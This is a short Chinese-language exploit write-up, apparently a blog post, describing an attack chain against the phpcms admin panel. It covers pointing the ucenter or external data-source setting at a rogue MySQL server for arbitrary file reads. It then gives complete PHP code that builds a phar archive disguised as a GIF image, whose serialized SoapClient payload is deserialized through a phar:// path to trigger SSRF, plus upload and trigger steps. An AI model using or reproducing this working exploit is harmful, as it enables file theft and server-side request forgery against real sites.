phpcms后台可以设置连接ucenter服务,或者添加外部数据源(这两种方式触发方式不一样)
将数据源指向预先设定好的恶意mysql服务器
也可以在phpsso中开启ucenter,并将ucenter服务指向恶意服务器
https://github.com/Gifts/Rogue-MySql-Server.git
设置之后我们就可以通过修改恶意服务端的设置来读取任意文件。
假如读取的文件路径是以phar协议开头的,那么读取的文件内容就会被反序列化。
```
<?php
final class db_factory
{
protected $db_list;
function __construct(){
$this->db_list = array();
$this->db_list[0] = new SoapClient(null,array('uri'=>'http://test:5555', 'location'=>'http://test:5555/aaa'));
}
}
@unlink("phpcms.phar");
$phar = new Phar("phpcms.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$o = new db_factory();
echo base64_encode(serialize($o));
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
```
生成图片之后可以通过发布内容中的图片上传来上传并获取到图片的地址
设置rogue mysql服务端读取
phar://../uploadfile/2019/0724/20190724061320370.png
当添加新用户时,用户名会检查所有的数据库中是否有该用户,则会触发ucenter的查找。
成功触发ssrf
暂无评论